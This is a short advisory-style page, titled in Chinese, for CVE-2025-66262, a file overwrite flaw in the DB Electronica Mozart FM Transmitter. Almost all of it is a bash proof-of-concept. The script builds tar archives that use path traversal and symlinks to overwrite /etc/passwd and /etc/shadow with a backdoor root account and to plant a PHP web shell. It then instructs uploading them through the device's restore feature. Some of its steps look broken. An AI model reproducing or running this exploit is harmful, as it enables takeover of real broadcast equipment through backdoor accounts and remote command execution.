CVE-2025-66262: DB Electronica Mozart FM Transmitter 任意文件覆盖漏洞

#!/bin/bash # CVE-2025-66262 PoC - Malicious tar archive creation # Target: DB Electronica Mozart FM Transmitter # Create a directory for the exploit mkdir -p exploit_archive # Create a malicious passwd file (backdoor account) cat > exploit_archive/etc/passwd << 'EOF' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin backdoor:$1$evil$Sr5fDJhX3n5gOQjK1kXjK0:0:0:backdoor:/root:/bin/bash EOF # Create a malicious shadow file cat > exploit_archive/etc/shadow << 'EOF' root:$6$evil$8W4vRf5xH3n5gOQjK1kXjK0:19400:0:99999:7::: backdoor:$6$evil$8W4vRf5xH3n5gOQjK1kXjK0:19400:0:99999:7::: EOF # Create a malicious index.php for web shell cat > exploit_archive/var/www/html/index.php << 'EOF' <?php if(isset($_GET['cmd'])) { echo '<pre>'; system($_GET['cmd']); echo '</pre>'; } ?> EOF # Create the malicious tar archive with path traversal cd exploit_archive tar -czf ../malicious_backup.tgz etc/../../../etc/passwd tar -czf ../malicious_backup2.tgz var/../../var/www/html/index.php # Alternative: Create archive that extracts to root using symlinks mkdir -p exploit_archive/etc cd exploit_archive ln -sf ../../../etc/shadow etc/shadow tar -czf ../malicious_symlink.tgz etc/shadow # Cleanup cd .. rm -rf exploit_archive echo "Malicious archives created:" echo "- malicious_backup.tgz" echo "- malicious_backup2.tgz" echo "- malicious_symlink.tgz" echo "" echo "Upload one of these files via the restore functionality" echo "to trigger CVE-2025-66262"